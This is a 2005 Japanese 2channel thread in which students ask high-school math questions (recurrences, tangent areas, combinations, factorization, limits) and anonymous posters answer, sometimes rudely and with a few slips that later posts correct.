771 ：１３２人目の素数さん：2005/07/18(月) 11:56:18
数列で漸化式のクック方法はきまりきったやつしかない。
隣接2項にしてテレスコープサム
等比・等差数列
積分で近似
生成函数をつくってコマス
行列にして固有値計算
それ以外は問題集では出てこない
772 ：１３２人目の素数さん：2005/07/18(月) 12:17:57
>>769
その問題がどの問題なのかがわからないとアドバイスのしようがない
ということくらい少し考えればわかりそうなもんだろ
773 ：１３２人目の素数さん：2005/07/18(月) 13:01:51
まぁそのﾚﾍﾞﾙの質問なら、ﾓﾉｸﾞﾗﾌの漸化式読めば全て解決するけどな
774 ：１３２人目の素数さん：2005/07/18(月) 13:47:46
スレ違いかもしれないですけど質問です。
y=-f(x)とy=f(-x)の違いがいまいちよく分かりません。
説明して頂けないでしょうか？
775 ：１３２人目の素数さん：2005/07/18(月) 14:20:59
>>774
f(x) = x^2 のとき
-f(3) = -( 3^2 ) = -9
f(-3) = (-3)^2 = 9
776 ：１３２人目の素数さん：2005/07/18(月) 15:32:28
Re:>>775
ｘを任意の数とする時
y=-f(x)は関数全体に－を掛けてy=f(-x)は任意の数xにマイナスを掛けるということですね？
777 ：１３２人目の素数さん：2005/07/18(月) 15:55:52
>>776
y=f(x)から勉強し直せ。
2chなんかやってる場合じゃない。
教科書嫁。
778 ：１３２人目の素数さん：2005/07/18(月) 16:16:30
三角形ＡＢＣがあって、その三角形の内部に点Ｐがあるとします。
三角形ＡＰＢの面積をＳ１，ＢＰＣのそれをＳ２，ＣＰＡのそれをＳ３
とします。
直線ＡＰと辺ＢＣの交点をＤとすると、ＢＤ：ＤＣ＝Ｓ１：Ｓ３となるのはなぜですか？
また、ＡＰ：ＡＤ＝Ｓ１＋Ｓ３：Ｓ１＋Ｓ２＋Ｓ３となるのはなぜですか？

数学は得意だと思ってたんですけどこれは分かりません。
779 ：無学の徒 ◆RRlBLdA0dk ：2005/07/18(月) 16:33:41
>>778
ＢＤ：ＤＣ＝三角形ＡＤＢ：三角形ＣＤＡ
高さが同じだから。
ＤＰ：ＡＤ＝三角形ＢＰＣ：三角形ＡＢＣ
高さが同じだから。
780 ：１３２人目の素数さん：2005/07/18(月) 16:57:39
>>数学は得意だと思ってたんですけどこれは分かりません。

得意だったらわかるはず
馬鹿は勉強しろ
781 ：１３２人目の素数さん：2005/07/18(月) 17:04:47
X-Y平面において点（2.1）より放物線Y=X2-3X+4へ引いた2つの接線とこの放物線が囲む部分の面積はいくつか。

この問題解いてください～お願いします！！
782 ：１３２人目の素数さん：2005/07/18(月) 17:10:51
>>781
１．(2, 1)を通ってy=(x^2)+3x+4と接する接線を２本求める。
２．同時に２つの接点の座標が求まる。
３．放物線よりも２本の接線の方が下にあることに気が付く。
４．（放物線のy）-(接線のy)をxで積分すれば良いことに気が付く。
５．（放物線のy）-(接線のy)の一般式が(2, 1)を堺に異なることに気が付く。
６．こんな問題も分からなかったのかと自分の愚かさに気が付く。
783 ：１３２人目の素数さん：2005/07/18(月) 17:11:56
つまり答えはなんなんですか？？
784 ：荻野：2005/07/18(月) 17:21:27
>>783
もしかして>>782の１．すら出来ないの？お～ん。
ゆうやく振り切って接点を(t, 2t+3)と置くんだよ。
つまり、「接点より、始めよ」だ。
785 ：７８４：2005/07/18(月) 17:22:50
●
○○○

このとき、3種類の組み合わせが考えられますよね。
（○は穴、●はボール）

では、
●●　○○○では、3種類です。

こういう、幾つかの穴と幾つかのボールが膨大な数ある場合、
何通りの解があるか求める公式を教えて下さい。
ちなみに、●は光子で、顔がない（みんな同じ）ものとします。
786 ：１３２人目の素数さん：2005/07/18(月) 17:23:53
？判りません。だから答えってなにになるんですか？
787 ：１３２人目の素数さん：2005/07/18(月) 17:25:11
>>786
判るまで考えなよ。
1000時間くらい考えたら判るかもよ。
788 ：１３２人目の素数さん：2005/07/18(月) 17:26:47
>>785
３種類の組み合わせだ？ﾜｹﾜｶﾗﾝ。
何をどう組み合わせたときの組み合わせなのか明記してくれ。
●と○の組み合わせなのかな～とも思うが違うかもしれんだろが。
あと、●は顔が無くて○はどうなんだ？まぁ顔があるんだろうがな。

回答が欲しかったら、ちゃんと問題文を書くべし。妙な省略は考える気を無くす。
789 ：１３２人目の素数さん：2005/07/18(月) 17:27:56
いや、私小学生なんでわかりません。
790 ：１３２人目の素数さん：2005/07/18(月) 17:31:54
>>789
じゃ30000時間くらい考えなよ。
そのうち高校生になるから、たぶんわかるよ。
791 ：１３２人目の素数さん：2005/07/18(月) 17:34:02
a^2(b+c)+b^2(c+a)+c^2(a+b)+3abc

わかりません。お願いします。
792 ：１３２人目の素数さん：2005/07/18(月) 17:39:57
>>791
>>788の最後の行
793 ：７８４：2005/07/18(月) 17:43:24
７８８さんありがとうございます。
○にも顔は、ありません。
ボールと穴を組み合わせたとき、です。○と●．

わかりづらくてすいません。
自分が、少ない数の穴で考えても、公式は見つかりませんでした。
宜しくお願いします。
794 ：１３２人目の素数さん：2005/07/18(月) 17:46:43
>>792
申し訳ない・・・

問題文は「次の式を因数分解せよ」です。
795 ：１３２人目の素数さん：2005/07/18(月) 17:55:18
>>793
穴○に顔が無いのなら、どの穴に入っていようと関係ないんじゃないの？
最初の例なら１種類だと思うが。

>>794
交換式、対称式　について勉強しよう。
おそらく例題とかにあるんじゃないか、この手の因数分解は。
796 ：１３２人目の素数さん：2005/07/18(月) 17:55:55
>>794
aについての2次式
　(b+c)a^2 + (b^2 + c^2 + 3bc)a + bc^2 + b^2c
の形にしてから「たすきがけ」を考えよ。
797 ：７８４：2005/07/18(月) 18:07:09
穴に顔がないというのは、いい間違えました
７９５さんのおっしゃるとおり、
場所（座標）が違うので、全く同じではないです。

つまり、顔は一緒でも位置が違う。顔が違うのと一緒。
レスありがとう。
この公式、見つかります？
高等数学よりはるかにむずいらしいですが。
798 ：１３２人目の素数さん：2005/07/18(月) 18:17:36
>>797
m個の穴にn個のボールをはめるとすると、
m個の中からn個取り出す組み合わせと同じ。
組み合わせの数 = C[m,n]
799 ：１３２人目の素数さん：2005/07/18(月) 18:19:03
上辺900
底辺4500
高さ7200

　　900
______
　a / ■　
/ |　7200
/_______■

　　　4500

aの長さを求めよ
＊■＝90度
800 ：１３２人目の素数さん：2005/07/18(月) 18:21:42
　900
______
　a / 　 ■
/ 　|　7200
　/_______■

　 　4500
801 ：１３２人目の素数さん：2005/07/18(月) 18:22:17
900
______
　a / ■　
/ |　7200
/_____■

　 4500
802 ：７８４：2005/07/18(月) 18:22:35
７９８さんありがとう。
只、重なった同じ組み合わせが沢山ありますよね。
それはどうやってはじいたらいいのですか？

穴３つ、ボール２つだと、3通りですよね。
式の通りとくと、6通りになってしまいます。

ありがとう。
803 ：１３２人目の素数さん：2005/07/18(月) 18:23:20
>>799-800
ようは、7200と3600の２辺が直角の直角三角形の
斜辺の長さを求めればいいんじゃないの？
804 ：１３２人目の素数さん：2005/07/18(月) 18:23:51
>>799
上辺左端から底辺に垂線を下ろす。
左側にできる直角三角形にピタゴラスを使う。
805 ：１３２人目の素数さん：2005/07/18(月) 18:24:43
>>802
なんで？
C[3, 2] = (3*2)/(2*1) = 3
３通りですがな。
806 ：７８４：2005/07/18(月) 18:27:39
あ、そっか。
ありがとう。
807 ：７８４：2005/07/18(月) 18:32:21
高校1年です。
８０５さん、3個の穴に2個のボールをかけると６ですよね。
初心者すぎて恥ずかしいんですが、
（３．２）が何故3×１になるのですか？

すいません・・・。
808 ：799：2005/07/18(月) 18:34:19
正解はなんでしょうか。父親に無理難題いわれて困ってます。
たすけてください。
809 ：１３２人目の素数さん：2005/07/18(月) 18:42:48
>>807
3*1というわけではなくて・・・。
仮に○、●ともに全て区別されるものだとして、
穴にはa, b, c と、ボールには P, Q と名前を付けるとする。
組み合わせは、
[1] P, Q, c
[2] Q, P, c
[3] P, b, Q
[4] Q, b, P
[5] a, P, Q
[6] a, Q, P
の６種類だ。しかし、今はボールに区別は無いことになっているので、
[1]と[2]、[3]と[4]、[5]と[6]は同じものであると考える。
つまり、３通り。

>>808
√(3600^2 + 7200^2)
= 100√(36^2 + 72^2)
= あとは自分でやって
810 ：799：2005/07/18(月) 18:44:36
色々調べてみました。
正解は、10800でいいでしょうか？
811 ：１３２人目の素数さん：2005/07/18(月) 18:48:12
暇だから計算したら3600√5になった
間違ってたらスマソ
812 ：799：2005/07/18(月) 18:49:43
すいません。小学生なんで√とかわかりません。
普通の数字ではでないのでしょうか？
813 ：１３２人目の素数さん：2005/07/18(月) 18:53:25
すみません。質問です。

2x-8>9x+2

の不等式を解いたのですが、
右辺が割り切れません・・・。
この場合、答えにはどう表記したらいいんでしょう？
814 ：１３２人目の素数さん：2005/07/18(月) 18:55:06
x<-10/7
815 ：813：2005/07/18(月) 18:58:55
>814
ありがとうございます。分数でいいんですね。
816 ：１３２人目の素数さん：2005/07/18(月) 19:02:22
f(x)=x^2+ax+bとし、f(x)=0は相異なる解α，βをもつとする。またg(x)、h(x)はg´(x)=f(x),h´(x)=g(x),h(α)=h(β)を満たすとする。
このときg(α)+g(β)の値を求めよ。

すいません私の頭じゃ歯が立ちません。教えて下さい。
817 ：１３２人目の素数さん：2005/07/18(月) 19:08:06
>>816
良い解法とか考える前に手を動かそう。
とりあえずα、βは出せるだろ。出す必要は無いのかもしれんが。
f(x) = x^2 + ax + b
g(x) = (1/3)x^3 + (a/2)x^2 + bx + C
h(x) = (1/12)x^4 + (a/6)x^3 + (b/2)x^2 + Cx
h(α) = h(β)

ほら、なんか求められそうに思えてきたでしょ？
818 ：１３２人目の素数さん：2005/07/18(月) 19:13:20
>>816
おもろそうやのぅ、h は f の二回積分したもので 4 次。
h(α)=h(β)=c とおけば h(x)-c は f(x) で割り切れる。
だもんで h(x)=P(x)f(x)+c としたれば、P(x)は二次式。
したら g(x)=P'(x)f(x)+P(x)f'(x)やな。
f(x)=P''(x)f(x)+2P'(x)f'(x)+P(x)f''(x)でもあるな。

あー、後めんどくさくなってきたな。情報はたくさんすぐる
ぐらいあるし、P(x) きめりゃ終わるやろ。たぶんな。
819 ：１３２人目の素数さん：2005/07/18(月) 19:26:38
>>817
h(α)=h（β）でα≠βが分かっているから
h(x) = (1/12)x^4 + (a/6)x^3 + (b/2)x^2 + Cxを使って

(α^4-β^4)/12+a(α^3-β^3)/6+b(α^2-β^2)/2+C(α-β)=0
まで出来ました。この先はこれを簡単にしてどうするんですか？
820 ：７８４：2005/07/18(月) 19:27:20
ありがとう。
821 ：１３２人目の素数さん：2005/07/18(月) 19:30:34
極限値の定義
lim[x→a]f(x)=Aで
xの値はaの値より少しだけ小さいんでしょうか？
それとも少しだけ大きいんでしょうか？
822 ：１３２人目の素数さん：2005/07/18(月) 19:32:55
>>821
ぴったり等しい
823 ：１３２人目の素数さん：2005/07/18(月) 19:34:12
>>817
> f(x) = x^2 + ax + b
> g(x) = (1/3)x^3 + (a/2)x^2 + bx + C
> h(x) = (1/12)x^4 + (a/6)x^3 + (b/2)x^2 + Cx

h(x) = (1/12)x^4 + (a/6)x^3 + (b/2)x^2 + Cx + D だな。
824 ：１３２人目の素数さん：2005/07/18(月) 19:35:40
>>822
マジですか。
分かったような分からんような・・・
825 ：１３２人目の素数さん：2005/07/18(月) 20:07:08
>>822
うそを教えるなよ
826 ：１３２人目の素数さん：2005/07/18(月) 20:14:08
>>825
嘘ではないだろう
827 ：１３２人目の素数さん：2005/07/18(月) 20:15:59
>>815
最近の中高生は答えが整数にならんとダメだとでも思っているのか？
828 ：１３２人目の素数さん：2005/07/18(月) 20:23:00
>>827
大学生だって同じです。
マークシート式で □□/□ とか書いてあれば別ですが。
829 ：１３２人目の素数さん：2005/07/18(月) 20:29:52
>>821
極限値が存在するならば>>822でよい。

一般には x→a の場合、xとａの大小は問わず
ギリギリ死ぬほど近づく、と。

まあ、他に x→+a とか x→-a とかあるんで
そこらへんはきちんと意識して進めるように。
830 ：１３２人目の素数さん：2005/07/18(月) 20:32:19
>>829
ありがとうございます。
831 ：１３２人目の素数さん：2005/07/18(月) 20:34:10
まてまて、極限値が存在しようとしなかろうとlim[x→a]f(x)のxはaそのものだ。
832 ：１３２人目の素数さん：2005/07/18(月) 20:35:26
lim[x→a]f(x)とf(a)は違うものだけどな
833 ：１３２人目の素数さん：2005/07/18(月) 20:39:56
lim[x→a]f(x) では x≠a だぞ。
834 ：１３２人目の素数さん：2005/07/18(月) 20:44:42
>>831
如何なる ε > 0 であろうとも a のある近傍 U が存在し
x ∈ U \ {a} なる限り |f(x) - A| < ε が成立する
ようにできるとき、x → a における f(x) の極限値が
存在するといい、これを lim[x→a]f(x) と記す。
835 ：１３２人目の素数さん：2005/07/18(月) 20:53:11
>>834
A って何か一切断ってないな。定数Aが存在し、を冒頭に挿入しておけ。
ついでに、f(x)の極限がAであるといいlim[x→a]f(x)=Aと記すとか加えとけ。
836 ：１３２人目の素数さん：2005/07/18(月) 20:57:05
スレタイも読めないのか
837 ：１３２人目の素数さん：2005/07/18(月) 21:17:03
そんなもの読むか
838 ：１３２人目の素数さん：2005/07/18(月) 21:56:46
目をつぶってでたらめに質問してるのか
839 ：１３２人目の素数さん：2005/07/18(月) 22:26:22
>>819
それをα-βで割ったあと解と係数の関係使ってcをaとbで表す。
あとはg(α)+g(β)について解と係数の関係使う。→終了
g(x)をf(x)で割ったあまりP(x)を使うともっと楽かな

840 ：１３２人目の素数さん：2005/07/18(月) 22:27:54
ｌim n→∞　a^ｎ　/ n!　＝０　の証明　　　誰か教えてください　＞＜
841 ：１３２人目の素数さん：2005/07/18(月) 22:41:09
aが正の数なら
aより大きい最小の自然数kとして
（a^ｋ/ｋ!）{a＾(n-k)/k^(n-k)}>a^ｎ/ n!>0
ｌim n→∞　（a^ｋ/ｋ!）{a＾(n-k)/k^(n-k)}=0→終了
aがそれ以外の複素数ならaの絶対値を使って同じ話に持っていく


842 ：１３２人目の素数さん：2005/07/18(月) 22:43:35
>>840
0＜n＜|a|をを満たす自然数nは有限個しかないだろうが。

ゆえに自明
843 ：１３２人目の素数さん：2005/07/18(月) 22:52:41
あ、>>839でいう解と係数の関係は全部f(x)=0についてのことね。
α+β=-a,αβ=bに読み替えて
844 ：840：2005/07/18(月) 22:53:30
ありがとうございました。助かりました。
845 ：１３２人目の素数さん：2005/07/19(火) 01:59:21
>>816
>>819
f(x)=(x-α)(x-β)=(x-α)^2-(β-α)(x-α)
としておくと楽
846 ：１３２人目の素数さん：2005/07/19(火) 03:48:04
平面上に2点 A( -3, 1), B( 9, 4) がある。

点Pが x軸上を動くとき、AP+PBの最小値を求めなさい。

答えは 13 らしいですが、求め方がわかりません。
もしよろしければ、ご教授いただけませんでしょうか。
847 ：１３２人目の素数さん：2005/07/19(火) 03:49:44
>>846
点Aをx軸に関して対称移動
848 ：846：2005/07/19(火) 04:23:08
>>847
どうもありがとうございました。
まったく思いもよらなかった・・・。なるほど、点Pの座標を( a, 0) としたところで解けないわけだ。
849 ：１３２人目の素数さん：2005/07/19(火) 04:44:05
>>848
計算の量は比較にならないほど多いけれど、
その方法でもできますよ。
850 ：１３２人目の素数さん：
785 名前： ７８４ [　] 投稿日： 2005/07/18(月) 17:22:50
●
○○○

このとき、3種類の組み合わせが考えられますよね。
（○は穴、●はボール）

では、
●●　○○○では、3種類です。

こういう、幾つかの穴と幾つかのボールが膨大な数ある場合、
何通りの解があるか求める公式を教えて下さい。
ちなみに、●は光子で、顔がない（みんな同じ）ものとします。

786 名前： １３２人目の素数さん 投稿日： 2005/07/18(月) 17:23:53
？判りません。だから答えってなにになるんですか？

787 名前： １３２人目の素数さん [sage] 投稿日： 2005/07/18(月) 17:25:11
>>786
判るまで考えなよ。
1000時間くらい考えたら判るかもよ。